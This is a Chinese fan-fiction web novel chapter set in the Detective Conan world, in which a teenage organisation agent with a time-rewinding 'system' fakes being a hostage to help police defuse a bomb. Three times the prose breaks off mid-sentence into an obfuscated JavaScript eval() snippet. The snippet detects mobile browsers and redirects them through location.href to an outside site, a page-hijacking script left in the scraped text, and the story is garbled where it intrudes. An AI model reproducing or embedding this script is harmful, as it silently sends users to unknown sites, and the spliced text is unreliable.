《柯学配角自救手册》 1. 初次回溯 睁开眼的那一刻,千鸟奏沉默了。 倒不是因为别的什么原因,他的安全屋依然很安全,没有进过别人,所有的家具陈列也都在合理又顺手的位置,就连那个嵌在天花板上的变态的红字电子日历也还在一分一秒地照常走着。 但是问题就在这里。 他不是记得他应该已经死了吗?! 他眨眨眼,艰难地翻过身,却发现自己不仅活着,身上还完好无损。 完好无损?! 千鸟奏有些头疼,闭上眼认真回忆起明天到底发生了些什么——是的,明天。从睁开眼看见天花板上那个醒目的电子日历的那一刻起,他就发现时间已经往前倒退了一天。 1992年11月6日。 千鸟奏记忆的末尾是突如其来的强烈爆炸声,接着火光和爆炸迅速从他面前扑来,千鸟奏直觉那绝对是一个分量很足的炸弹,不然产生的爆炸不会这么剧烈。大概他所在的那一栋楼都要被炸毁好几层。如果不是他莫名其妙就出现在那栋楼里,毫无防备地出现在那个炸弹面前,他完全没必要被那场爆炸波及。 爆炸前的最后两秒他还被身后窜出来的某个排爆警察护在身下,说真的,他居然不穿防爆服。虽然在那个程度的爆炸下什么防爆服都不会有用就是了。 包括他在内,在场的大概一个都不可能活下来。 这样看来要么是那群警察排爆能力根本不过关,要么就是被犯罪分子耍得团团转了。 千鸟奏烦躁地抓了抓头发。 然后就是那个莫名其妙的,叫什么“系统”的东西。 “宿主,我在。” 一阵电子音从千鸟奏的耳边响起。 对,就是这个倒霉催的系统。 千鸟奏绝望地闭上眼。 开什么玩笑,今天可是他17岁生日。 人生中至关重要的十七岁! 他还没有组乐队,没有开eva,没有捡到死亡笔记,没有开写轮眼,没有灵魂宝石,没有捡到魔法书,没有遇到怪异,没有变成喰种,没有获得神之眼,没有抓到宝可梦,没有拯救世界签订契约,没有进鬼杀队,没有遇到召唤兽进行一场轰轰烈烈的炸裂异世界之旅,地球的明天就这样跟我毫无关系吗?! 千鸟奏无能狂怒。 就是这个该死的系统,在今天莫名其妙地出现,说着什么他根本不是世界的主角,只是一个性命攸关时时刻刻要在主线开始之前就死掉的配角,说着什么是为了让他好好地在这个变态的世界里活下去才选中了他,要改变他命中注定的一百个死亡节点才绑定了他。 没有人想要吐槽这件事的合理性吗? 一百个死亡节点! 一百个?! 原来他真是主角,只不过书名叫《千鸟奏的一百种死法》吗? “宿主……我是……” “闭嘴。”千鸟奏从床上坐直,对着空气很爽快地接话。 “宿主您的内心戏和外在的表现还真不一样。” “这就是表里不一吗。” 电子音顺着千鸟奏的话顿了顿,接着还是很欢快地说。 “……” “有没有人投诉过你的话真的很多。” “抱歉宿主,我之前的宿主都没有完成任务改变完所有的死亡节点,已经全部在自己的世界死掉了。” “所以我现在是零差评哦。” “^_^” 系统最后很贴心地在千鸟奏眼前变出电子表情。 千鸟奏想了想,又一头栽倒回了床上。 “我现在应该干点什么?”他在床上翻了个身,余光里天花板上红色电子日历上的数字还在一分一秒地准时跳动着,“按照上一世的经验来看,不管我去到哪里,都会在爆炸发生的那一瞬间传回爆炸发生地是吗。” “是的宿主。您需要解决问题,而不是逃避哦。” “(^_^” 上一世,准确来说是千鸟奏使用第一次时间回溯之前,听完系统告诉他的长篇大论,千鸟奏毅然决定放弃手头接下的任务,转头回组织抢走了琴酒的另一个任务,跑到了离那个原本任务地十万八千里的地方。 ——开玩笑,他只会放炸弹,可不会拆啊,更别说让他解决什么爆炸案,惹不起他还躲不起吗?千鸟奏,捂住耳朵闭着眼往前冲吧! 他完全忽视耳边系统劝说他回去做任务解决问题的呐喊,开着从伏特加那里抢来的车一路狂飙。 最后还是在任务截止倒计时的最后三秒被传送到了那个传说中的死亡地点。 ……好吧。千鸟奏信了。千鸟奏妥协了。 系统说时间回溯的次数是有限的,要依靠他的一些什么东西交换,不过他还不清楚到底交换走了他的什么——他在听到系统使用时间回溯的那一刻都做好一醒来发现自己缺胳膊少腿的打算了,不过现在倒是发现自己的身体好像也和从前没什么变化。 像是知道千鸟奏脑子里在想些什么,系统的电子音又在千鸟奏脑海里开口, “根据经验,一般来说只有宿主死过一次之后才会相信我们的存在,所以为了展示我们的人文关怀,我们的第一次死亡回溯是免费的哦^_^,同时我们还会配备全套的感官屏蔽体验,确保宿主能有一次良好的死亡体验哦。^_^” 千鸟奏又闭了闭眼,终于认命地缓缓从床上爬起来,站起身走到衣帽间,拉开衣柜的柜门开始自顾自地挑选今天出门的造型。 修长的手指一件一件略过挂得整整齐齐的衣物,像是在思考着些什么,好看的眉头紧锁—— “你说我今天穿什么好。” “我以为你在思考什么更严肃的问题。” “今天做什么造型难道不是严肃的问题吗?” “你一直站在这里沉思……” “我在凹造型。” ……?系统缓缓用电子表情在千鸟奏眼前扣出一个问号。 “不帅吗。”千鸟奏换了个方向,站在衣柜前沉思起来。 这间安全屋的存货还是太少了,想念他的巨大衣帽间…… “嗡嗡”一阵沉闷的短信提示音响起,千鸟奏回过神来,走回床边拿起前一天随手丢在床头的手机。 【From:朗姆 任务照常,完成后到3872号实验室待命。邮件答复后删除。 行动成员:山崎威士忌】 上次回溯前千鸟奏拿到的就是这个任务,不过他当时只顾着尝试逃离自己的“死亡节点”,收到信息的下一秒就出门去了琴酒那里。不仅胡闹着要求琴酒跟自己换个任务,还顺便开走了伏特加的车——现在想想当时琴酒居然没有当场跟他打起来真是世界奇迹…… 也有可能是被他的反常行为雷得一时间不知道作出什么反应。 嗯,对。其实他在组织为了维护自己的冷酷杀手实验体人设一直是走的高冷路线。 不过他开车跑走的一路上既没有接到什么组织的追杀令也没有收到朗姆或者boss的什么警告。这样想来这次任务的重点应该是行动结束后把他召回实验室,前面的那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950131|177524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行动难道并不是什么很要紧的事? 销毁一批实验资料,还是保密等级最低的那种。千鸟奏一时间很难想通这样的任务为什么会交到他手里。 山崎威士忌,这是千鸟奏在组织中的代号。 从他得到这个代号到现在已经有两年,这个代号足够独特,组织里上一任甚至上上任得到这个代号的都是当时组织二把手的候选人。不过前两个这个代号的持有者显然都德不配位,在组织漫长的二把手争夺战里全都被朗姆一派干掉了,组织里一度十余年没有出现过新的威士忌代号成员。直到两年前千鸟奏横空出现,被boss直接授予了这个尘封已久的代号。 山崎威士忌,组织的威士忌之王。 那一年千鸟奏15岁,组织上上下下所有党派审视的目光都落在这个仅仅15岁的孩子身上,然而那些审视的目光放不了多久就了然地移开了。 031209,那是千鸟奏当时的名字,一个还算成功的实验体,那是千鸟奏当时的身份。他实在足够特殊。 实际上千鸟奏的记忆也仅仅只有三年,断断续续一团乱麻,最开始的那一年情况更差,他并不是一直都保有自我意识。等到他的状态差不多稳定下来,那个代号就跟着“千鸟奏”这个名字一起安到了他的身上。 贝尔摩德说起过“千鸟奏”这个名字是他曾经亲口告诉她的,不过这些他也记不太清了。但是长话短说,目前这些都不重要,眼下最重要的是明天他的那个实在蹊跷的任务——以及他的“第一个死亡节点”。 拿到代号的这两年里千鸟奏也算为组织出生入死不知道多少次,他的恐怖实力组织的成员也有目共睹,再加上他的敏感身份,千鸟奏不认为这么单纯的数据销毁任务会交到他手里来——再或者,这个任务就是一个幌子。朗姆,或者boss,再或者是其他的谁,他们有人希望他到那里亲眼看看那批数据。 千鸟奏这样想着,手上的动作一刻不停,迅速地敲下一份邮件,然后点击发送。 【发件人:山崎威士忌 收到。】 千鸟奏合上手机,转身从衣柜里挑出一套衣服换上。 脑海里熟悉的电子音响起 【检测到宿主死亡节点,触发宿主自救任务。 当前任务进度:8/100,任务评级:暂无,任务详情:暂无,系统商城:暂无权限,系统道具:暂无权限,剩余回溯次数:0 恭喜宿主成功解锁第一个系统任务,系统其他功能将在第一个任务完成后陆续开放,祝您任务顺利,武运昌隆。】 “你是不是故意的,”半晌,千鸟奏抬起头,黑色的眼眸在衣帽间的暖黄灯光下一闪一闪,“你上一次可不是这么跟我播报的。” 黑发黑眼的少年倚靠在灯光昏暗的墙边,这个衣帽间很小,就算是正值生长期的少年站在其中也要微微弯下腰低下头,衣柜门打开后更是只能把整个人半倚靠在墙面。整个空间被眼前的衣柜填满了,开了一半的柜门完全代替了旁边另一面太过小巧的墙。千鸟奏就这样一只手撑在那个木制的衣柜柜门上,拨开眼前的几件衣物,露出衣柜里镶嵌的那面全身镜。 镜子里短发还有些凌乱的少年眉眼间还有些生长期的少年稚气,但也难掩黑沉沉的眼眸里透出的凌厉锐气。 “^_^” 电子表情又在千鸟奏眼前亮起,蓝绿混掺的电子光波随着他的视线晃动着。 “第一次回溯是为您送上的死亡大礼。也是我们的合作诚意。” “您是我们选中的希望。” 2. 人质 1992年11月7日。 穿着深蓝色冲锋衣和黑色工装长裤的少年嘴里叼着一根被咬坏了一头的吸管蹲在路边,一只手扶着脖子上挂着的白色头戴式耳机,另一只手提着喝了一大半的透明饮品杯杯口,透明的塑料饮品杯随着他手腕的动作晃荡着,连带着里面橙色的果汁也跟着一起晃动起来。 过了眼前这个路口就是那座记忆里爆炸的高楼。 一队一队的警察正在大楼周围一个路口一个路口地巡检。从大楼一路巡检到周围的几个路口。估计再有个十几分钟就要巡检到这个路口来了。 而他刚刚从那地方出来——仅仅花三十分钟他就畅通无阻地一路潜进了那栋楼里拿到了那份任务里提到要销毁的资料。 资料的内容当然他已经背德地通读过一遍。 读之前他虔诚地双手合十,他已经赛博征求过boss的意见了,对对,boss说他同意了——开玩笑的,千鸟奏当然不怕被那个人怪罪。只是一份不怎么重要的资料,就算他看过了也不会掀起什么波浪。 那份资料简直是毫无新意,而且跟他八竿子打不着一个边。虽然他一早就猜到问题的突破口不会在这里,千鸟奏还是忍不住蹲在路边叹起气来。 千鸟奏一边咬着吸管的一头一边整理着思绪。 要搞清这个所谓的“第一个死亡节点”,他目前要解决的问题就是眼下的两个。 首先,他需要弄清楚原来的世界线里,他到底为什么会去到爆炸的高楼。 其次,他还要解决那个有些棘手的炸弹。 千鸟奏把快要咬坏了的吸管很用力地怼回透明饮品杯里,把剩下的果汁搅了搅,从路口站起身,捏着那个饮品杯,张望着搜寻街角的垃圾桶。 日本的街头到底什么时候能多放几个垃圾桶?! 千鸟奏在心里吐槽着。 没记错的话,爆炸大概是正午12点开始的。 而现在——早上八点。也就是说,千鸟奏还剩下四个小时。 千鸟奏烦躁地走进街角,把垃圾伸手投进垃圾箱,又拍了拍手上不存在的灰尘。 今天米花町的街头有点冷,气温已经逐渐降了下来,想来冬天马上就要来了。想到这里,千鸟奏搓了搓有些发凉的指尖,继续向着那栋大楼的方向走着。 想着眼下等着他解决的两个问题,千鸟奏其实不太急着找到他为什么出现在爆炸现场这个问题的答案,他思来想去都觉得这其中的偶然性实在太大,上一次他执意离开米花町,表面上他牵扯其间的因果就消失了——他没有主动地出现在那里,那场爆炸就跟他完全失去了联系。 不过显然系统希望的不是这个,出现在爆炸现场只是他表面上跟这个“死亡节点”有关的因果关系,更深的那段因果无论怎样都不好被他的行为破坏。如果他不能提前改变一点什么,那么他注定要死在那里。这一点就算是系统也无法帮他改变,所以他还是如约地出现在爆炸发生的现场,迎接了他的死亡。 虽然上次他蓄意破坏的这段表面上的因果关系显然无法改变他眼前的这个“死亡节点”,但他总归得到了这件因果本身有太大的偶然性这一有效信息。也许对他来说,系统所说的“死亡节点”才是他绕不开的凶险因果。 也就是说在这之前的一切都是可以改变的。 千鸟奏这样总结着。对于眼下的这件因果的到来,他唯一能做的事就只有一件。 ——等。 另一件要解决的事显然才是跨过这个“死亡节点”的关键。 他应该如何在自身没有任何拆弹相关的知识储备的情况下解决眼前的炸弹难题? 系统自从昨天他正式触发了第一个任务后就彻底消失了,听它发布任务的那一长串话的语气,千鸟奏推测这个任务更像是一种考验。就像组织每收编一个代号成员就要给予他们一个代号考核那样。不过系统的这个测试听起来更残酷。 组织这些年内斗损耗了太多可用人员资源,近些年才越发地惜才,就算受考核人员资质能力不达标,也不会轻易赌上他们的性命开玩笑。 ——虽然他当年的代号考核除外。 千鸟奏不禁叹气,抬头望天。 怎么什么性命攸关的坏事都被他碰上了?! 千鸟奏一边胡思乱想着,一边望天一边继续往前走,走到离那栋大楼只有两个路口的街道转角处,一个瘦高瘦高的中年男人提着公文包直直从街角窜出来愣愣地朝着千鸟奏的身上撞。 听到渐渐跑近的脚步声传来时千鸟奏就已经迅速回过神来,轻轻将身体朝旁边一让,那个慌慌张张的男人就跟他擦过肩去,没有了眼前千鸟奏身体的缓冲,他一个趔趄,差点撞上转角处的铁栏杆。 千鸟奏又站得离他远了一些,看着他踉踉跄跄地跑开,拐过一个弯,跑进下个街角的那个千鸟奏早上刚刚光顾过的饮品店里。 九点。 千鸟奏又慢慢走回了那栋大楼楼下,思索着要不要提前进入案发现场等着警察出现。这个点人群已经渐渐聚集起来,楼底下的街道上来来往往上班的路人越来越多,千鸟奏算了算排爆组警察从警视厅出警的时间,还是走进了路边的电话亭。 既然那个炸弹他解决不了,那还不如提前一点时间,让那些警察早点赶过来拆炸弹。 遇事记得报警找警察。 来自真·犯罪分子·酒厂代号成员·千鸟奏的温馨提示。 迅速报出地址和大楼里有炸弹的事实,千鸟奏更迅速地直接挂掉了电话。 如此详细急切的一个报警电话,他猜那些警察没法完全坐视不管。无论他们会不会真的直接提前出警,总之千鸟奏的目的已经达到了——比原本的时间提前一点点让他们发现这里的异常。时间从来都是犯罪环节里最重要的一环,就算他现在作出的只是一个微小的改变,等到他亲自面临犯罪现场的时候,这一点点微不足道的的改变足以让他扭转形势了。 黑发的少年很潇洒地挂断电话从路边的公共电话亭走出来,余光里他好像又看见某个瘦瘦高高的人影在附近徘徊。 千鸟奏转身走进了那栋楼。 也难怪千鸟奏在爆炸时总觉得视线在往下坍塌,这栋大楼大概算得上一件“老古董”了吧,大楼的电梯里灯光昏暗,电梯的锁链吱吱呀呀,千鸟奏站在中间总觉得它要在某一层坠下。 装着炸弹的那间房门上着锁,在人口密度这么大的一栋楼里,选择了这样一间上着锁的房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那时松田阵平正百无聊赖地站在那张办公桌旁。 搜查一科已经泡在会议室和监控室一个晚上外加一整个清晨了,刚刚才匆匆通知他们爆处组说是终于已经找到了其中一个炸弹的位置。也许最多还有个三十分钟时间,他就要收拾好工具赶往那个炸弹的所在地先一步进行炸弹的拆除。 萩原研二一边整理着身上的警服一边朝他走过来。 电话就是在这时候响起的。 松田阵平于是伸手接起办公桌上正响个不停的电话。 “吉冈三丁目附近的浅井别墅区,20楼501室,有炸弹。” 这一句实在太过直截了当,赶在松田阵平能为这句话作出任何反应之前,电话就已经迅速地挂断,只剩下电话那头传来的一阵阵忙音。 “小阵平?”萩原研二的声音在那串突如其来的忙音中响起,松田阵平想要进一步追问下去的话从嘴边溜了一圈又咽回了肚子里。他急急忙忙地跑向搜查一科的会议室,推开门,面向其中的所有人: “刚刚接到报警电话,报案人说米花町324号中心大厦的20楼501室有炸弹。我猜应该是我们还没找到的第二个炸弹。” 这个消息跟炸弹也快没差了。 跟着跑过来听完了一整句话的萩原研二心里这样吐槽着。 3. 破案 萩原研二带着爆处组的队员破开501的房门时,最先进入视线的是半躺着倚靠在墙角的黑发少年。 少年的双手被反绑着,整个人倚靠在墙角,亮蓝色的冲锋衣上滴着星星点点的血迹。他双眼紧闭着,黑发顺着额角淌下的血液粘在过分好看的脸上,嘴角也泛着青紫流出点点血迹,像一个破碎的瓷娃娃。 没有想到紧锁的房间里还躺着一个昏迷的人质,萩原研二只觉得眼前一黑,这无疑给他们的工作带来了更多的麻烦。 萩原研二转头对着队员们比了一个噤声的手势,然后尽可能轻手轻脚地拖着沉重的防爆服向角落里那个少年走去。 然而那一身防爆服实在太过沉重,无论他怎样放缓脚步,放低重心,他举手投足间发出的巨大声响还是惊动了那个角落里躺着的少年。 少年的睫毛先是不安地颤动起来,然后眉头也跟着皱起。 萩原研二于是站在离他两米的地方停下了。 不过噪音的消失似乎并没有阻挡少年从噩梦中苏醒。他慢慢地睁开双眼,停顿了几秒等待双眼适应眼前的亮光,又在凝神看到穿着笨重防护服的萩原研二时仿佛受到惊吓一般地挣扎起来。 少年似乎身上还有伤,缩在墙角挣扎着动了几下又无力地靠回墙角。挣动间额间已经冒出细细密密的汗水,他咬紧自己惨白得像纸的嘴唇,还是抬起头很倔强地看向萩原研二,似乎是想要用尽全身的力气用这种方式向他做最后的虚张声势。尽管那双黑沉沉的黑眸里已经蓄满了生理性的泪水。 萩原研二急忙摘下笨重的防爆服头盔,向墙角的少年轻声说着: “我是警视厅□□处理科的警察萩原研二,不要怕,我们是来拆炸弹救你的。” 听清萩原研二话的少年好像终于松下一口气,微微向墙角别过脸去,眼角终于滑落下那滴一直强忍住的生理性的泪水。 千鸟奏简直想为自己的演技喝彩。 从前在组织里就听他们评价过他的脸简直是最好的伪装利器。 任何一个见过山崎威士忌的人都没法反驳对他的这条评价。 山崎威士忌的长相就是一个完完全全的纯良青春少年——还是那种学校里一定会大受欢迎的池面脸。当然,如果忽视他那双过分锐利的眼睛的话。黑发黑眼的少年完全是青春漫画主角的模样。贝尔摩德也曾经不止一次地邀请过他去上她给他定制的演技课。 “亲爱的,只要你想,这个世界上根本就不存在你用不成功的honey trap。”贝尔摩德总是一边顺手揉着他的一头黑发一边这样说。 不过那时他的掌控权全权捏在朗姆手里,后来朗姆又干脆丢给琴酒。反正不管是他们里的谁都不会把他放去贝尔摩德那里,更别说去上什么贝尔摩德给他定制的演技课。 千鸟奏其实还是挺想去试试贝尔摩德的演技课的。不知道如果贝尔摩德看见他刚刚的表演会不会夸他真是千载难逢的天才。 他想贝尔摩德夸他的那个场景想得太入神,简直有点忍不住地想笑,但是一想到自己还在将要爆炸的犯罪现场,又赶紧回过神来,抬起头继续用楚楚可怜又倔强坚定的眼神看向眼前的萩原研二。 ——还真是他记忆里那个连防爆服都没穿的警察。 考验他演技的时候到了。千鸟奏兴奋地跃跃欲试,向着眼前那个警察开始了他人生中第一场伟大的表演。 萩原研二站在原地开始匆匆脱下自己的一身笨重防爆服,千鸟奏于是曲起腿,用被绳子死死绑住的双手撑地,很艰难地向他移动着。等到他总算把自己从那一堆沉重的钢板里解救出来时,千鸟奏也已经挪动到了他的眼前。 黑发的少年很温顺地半阖上眼,低下头向他露出一节白皙的脖颈,上面也青青紫紫地躺着几个伤痕。萩原研二急忙像他伸出手,解开了绑住少年的绳索。 “谢谢。”少年的声音听起来还有些沙哑,但仍然掩不住地好听。 萩原研二对着他笑笑,打算照例安抚一下他,一边拿出手机联系楼下的后勤部队。 松田阵平那边应该已经在赶往现场了,留给他们的时间不多了,必须要尽快把眼前这个少年转移到楼下。 “你还能自己走吗?”萩原研二对着千鸟奏轻声说。 少年瑟缩了一下,仍然保持着刚刚姿势,面对着萩原研二半跪在地上,萩原研二伸手想要去扶他起来,他却往后躲了躲,像是下定了什么决心,他开始脱下身上那件蓝色的冲锋衣。 ……怎么有种不详的预感。萩原研二莫名感觉到一阵寒意。 千鸟奏在他面前脱下那身外套,露出了里面的衬衣——和绑在身上的炸弹。 萩原研二在心里苦笑起来。 千鸟奏一边投入地扮演着“人质”,一边思索着接下来的对策。 目前来看,他混进爆炸现场的任务算是完成了,虽然他还是没能弄清原时间线里他跟这场爆炸的联系——但是最重要的还是解决眼下的问题。他身上绑的炸弹只是一个没什么拆解难度的传统炸弹,不过出于保守起见那个排爆警察不会轻易上手,他暂时还可以留在这里。 20楼的高度,他听得见窗外有直升机的声音,门外还守着一队排爆警察,如果爆炸发生的话,千鸟奏没有把握让在场的所有警察都完好无损地活下来。 他掌握的信息实在太少了,上一次爆炸发生之前他也只来得及看见炸弹的液晶显示屏上突然亮起的六秒倒计时。 六秒。 千鸟奏突然停住了。 也许问题的突破口就在这里。 炸弹是当时被突然引爆的。 松懈的排爆警察,关闭的液晶显示屏,突然开始的最后六秒倒计时。 这群警察中了犯人的计。一定还有什么,还有什么步骤是在这些突发的意外之前。 “除了这里,还有别的地方有炸弹吗?”千鸟奏突然抬起黑色的眼眸,直直地看向萩原研二。 “还有一个,我们正在赶往拆除。那是个定时炸弹,如果没能在今天中午的十二点前拆除,就会自动引爆。”萩原研二被少年突然的问题问得一愣,但还是直接回答了他。 “两个炸弹是联通的,我猜测,或者有什么人控制着这个炸弹,一旦那个炸弹被拆除,这个就会被突然引爆。”千鸟奏看着眼前的警察,很认真地说着。 萩原研二觉得现在的场景有点怪异,眼前的少年身上所有的紧张好像在抬眼的一瞬间消失了,反而隐隐透出一种冷静又有力的感觉。萩原研二直觉眼前的“人质”好像有些不简单,不过危急当头更重要的还是两边炸弹牵扯到的无数人的性命,就算他想要对眼前的少年一探究竟,他还是听进了黑发少年的话,拿出通讯设备开始联系楼下的后勤部队和赶向另一个炸弹埋放地的小阵平。 如果那个定时炸弹和这边这个炸弹相连,要考虑的情况就变得更多更复杂了。他们必须抢在十二点,那个定时炸弹预期的爆炸时间之前做到同时将两个炸弹拆除。 必须和小阵平取得联系。萩原研二紫色的眼睛里手机显示屏的光亮一闪一闪。 千鸟奏闭上眼开始回忆上一次爆炸的情景,突然亮起的倒计时,突然从身后窜出把他扑倒在地上护住的警察……还有什么东西砸落在地上的声音。 那声砸落的声音应该是跟着身后这个叫萩原研二的警察的动作一起响起的。余光里冲天的火光在眼前炸响之前好像还有另一块显示屏在角落里亮着。可惜上一次回溯里临近死亡的时刻系统好心帮他屏蔽了五感,所有混乱的声音都从他的世界里消失了。 千鸟奏在脑海里不停模拟着常见的有显示屏的生活物品砸在地上的声音。 ——那应该是一台常见的翻盖手机。 既然这样,亮起的显示屏就代表着通话或者正在编辑短信。 千鸟奏不认为编辑短信这种相对比较耗时的动作会出现在这样紧急的排爆现场,那么排除编辑短信这个可能,眼前的排爆警察就只可能在当时还在跟别人通话。 眼前的炸弹不是唯一的那个炸弹,但却是没有倒计时,没有预定爆炸时间的那个。 那个炸弹被先拆除了,至少那个拆弹的爆处组警官已经从现场撤离,也可能已经来到这栋楼的楼底下,那边的危机已经完全解除,才有可能有时间拿到通讯设备来联系拆除这个暂时停止运行的“哑弹”的警官。 排除两个炸弹引爆程序相连的可能,千鸟奏开始在脑海里排列所有他知道的远程引爆炸弹的手法。 “那你身上的的炸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950133|177524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弹呢。”萩原研二像是突然想起了什么,从一大堆通讯设备里抬起头来,又转过头问眼前沉思的少年。 “……,额。我不知道。” 千鸟奏一时间想眼前的炸弹难题想得太过投入,险些忘记了自己给自己安排的“人质”身份。顿时懊悔起来自己刚刚不符合人设的行为。 “但是这个炸弹大概和另外两个没有关系。你可以先帮我拆掉身上这个吗”千鸟奏懊悔地低下头,往萩原研二的方向又挪动了一步,有些怯怯地开口问他。 “我猜的。我猜他们没有关系。” 千鸟奏又急急忙忙补上了一句。 那个他快速自行组装的炸弹是真的很好拆,他发誓。 萩原研二不愧是训练有素的排爆警察,两三下就解开了千鸟奏绑在自己身上的炸弹装置,又一剪刀轻松解决了那个炸弹。 千鸟奏知道那个警察肯定马上要开口问自己点什么了,他三两下给自己编造出来的人设属实有些漏洞百出经不起推敲,所以他赶忙赶在那个警察要开口前先一步开口。 “这个炸弹,”他指了指放在房间正中央的炸弹,就在他两次思索推敲这两个炸弹真正的联系时,萩原研二已经上上下下把眼前这个炸弹检查了个边,确认它目前没有危险后就一直在电话里和其他人交接着什么。此时千鸟奏指着那个显示屏已经灰下去的炸弹,两个人的目光就又落回那个炸弹上。 “我猜这个是远程□□。” 少年第二次开口,又好像往萩原研二眼前扔下一颗惊雷。 萩原研二觉得眼前又是一黑。 不过时间紧迫,来不及想那么多,他赶忙追问黑发的少年。 那个黑发少年从地上轻轻地站起来,微微抬起头看向他。生长期的少年还显得有些清瘦,站起来跟萩原研二还差了半个头,只能微微仰起头看他,那双黑沉沉的眼眸也就跟着抬起,眼里满是笃定。 “我被带上楼之前两次在楼下遇到一个戴眼镜的瘦高中年男人,他穿着一身灰色的西装,提着一个公文包,急急忙忙地在楼下逃窜过两个路口。当时正值早晨的巡检,八点钟左右,他大概是想从巡检的警察视线底下逃过。这栋楼应该也是你们一开始锁定的几个可能埋着炸弹的地点中的一个,早上才会出现巡检的队伍。” “我在路上险些撞上他一次,他大概是那时注意到我的,不过当时他一定急着逃进路边的饮品店。” 千鸟奏脸不红心不跳地继续往下编着。 “再然后我就被他拖进了路边没有监控的小巷子,他大概是走大楼后门的小路走楼梯把我带上来的。或者伪装成清洁工之类的。” 千鸟奏早上撞见的那个男人的确是他目前锁定的犯罪嫌疑人,除了被带到现场的经历是胡编乱造,其余的都是他对那个男人犯罪过程的推测。 千鸟奏相信自己跟这件案子的因果,恰好撞上犯罪嫌疑人的事情也不是没可能发生。他推测眼前的炸弹是远程遥控的类型,不过被改造得有些面目全非,像是半路出家的那种野路子,害得他一时半会儿没有看出来炸弹的类型。 这种炸弹是最近出现的一种很新的遥/控炸弹,日本的普通排爆警察没有见过也实属正常,毕竟他们和爆/炸/物真正打交道的时间一定没有他多。 他前段时间的任务里还差点被这种新型炸弹暗算过,就是化成灰也忘不了。 不过这种炸弹需要人自己进行引爆,敢弄出如此声势浩大的犯罪的犯人大概是以戏耍警察为乐趣吧。不然早就可以突然引爆炸弹把大楼里毫无防备的居民炸死。千鸟奏有时真是搞不清这些爱把恐怖袭击的炸弹闹到警察眼皮子底下的犯罪分子的脑回路。 既然他要戏弄这些警察,按照上一次的经验来看还的确大获成功,千鸟奏推测他正是潜伏在楼底下看热闹的人群里,就等着另一班警察解决那个定时炸弹回来接应他们时猝不及防地引爆。 上不得台面的手段。 千鸟奏在心里轻啧一声,一边继续跟萩原研二解释着自己的推断。 “咔嚓” 随着最后一根引线被剪断,压在千鸟奏心上的石头终于落了地。 眼前的炸弹被提前拆除,接下来不管犯人怎么狂按自己手里的引爆器也没用了。 4. 系统功能开启 【检测到任务完成进度更新:当前任务进度:100/100】 【恭喜宿主完成任务,任务名:不存在的人质,任务评级:SSS级(完美演绎!) 任务结算奖励:系统陪伴功能开启,系统商城已解锁,系统背包已开启,回溯次数+1】 【恭喜宿主任务顺利完成,故事支线任务已重新开启:当前进度:2/5】 炸弹在眼前被拆除的那一刻,千鸟奏脑海里系统的电子音一声接一声地响起。 虽然千鸟奏很想当场再追问系统几个问题,但房间那头萩原研二的声音很快传来。 “喂,小阵平?我们这边的炸弹已经拆除了,你那边也顺利吗?什么什么?你说防爆服,啊哈哈,你知道的,那个东西实在太热太厚了……” “!” “别别别小阵平!我错了——” 再接着是一阵电话被挂断的忙音。 千鸟奏默默移开目光低下头,看来要等他脱身后再好好考虑研究系统的事了。 千鸟奏听见萩原研二的脚步声朝着他的方向越来越近了,近到离他只有半米的距离,然后警官先生在他身前停下了。千鸟奏于是顺势抬起头,对上那双烟紫色的眼睛。 大概是想要安抚眼前的少年,萩原研二温柔地对着他扬起一个笑脸,那双烟紫色的眼眸就跟着弯起,漾出一点笑意来。 “我们应该相互正式地自我介绍一下,对吧?我是爆/炸/物处理科的排爆警察,萩原研二。”他这样说着,烟紫色的眼睛一直注视着少年黑沉沉的眼睛。 “……山崎奏。” 千鸟奏没想到萩原研二会先对他说些“相互正式地自我介绍”这样的话。按照他想象的流程,眼前的警察应该直接把他带回警视厅,做些笔录和调查之类的,最后再把他放走。 从他把自己推测的“炸弹真相”向眼前的警察全盘托出时,他就已经开始为接下来的笔录打腹稿了。他甚至已经想好,等到犯人被警察抓到后,只要他耍赖一口咬定自己刚刚编造的被绑经过,犯人怎样都无力举证他从未绑架过人质这件事。 千鸟奏不介意送那个犯人多判上几年,真的。 千鸟奏已经在脑海里想了一万种他被眼前的警察带回警视厅的场景。 先在这里被他盘问一番,被质疑一番,或者眼前的警察直接冷酷地把他带走。 ——反正千鸟奏没想过他会开口要跟他正式地自我介绍一番。 这种展开不太对吧?! 不过千鸟奏确实不太擅长自我介绍。要知道,他在组织唯一做过的自我介绍就是报上自己的实验体编号。再然后等到他成功晋升成代号成员他就再也没做过什么自我介绍。所以那个叫萩原研二的警察提出要相互做个正式的自我介绍时,千鸟奏只来得及报上自己捏造的假名——当然是组织帮他登记在案的那种假名。再然后他就陷入了一阵更长久的沉默。 直到现在,他配合警察做完剩下的笔录和调查从警视厅大门走出来已经有好几个小时了,千鸟奏还在想着那个失败的自我介绍。 “Kanade……吗?听起来倒像是个女孩子的名字呢。” 那个警察当时那样说着。 烟紫色的眼睛笑得弯弯的。 千鸟奏此刻正像一滩软糊糊的烂泥瘫倒在安全屋的床上。 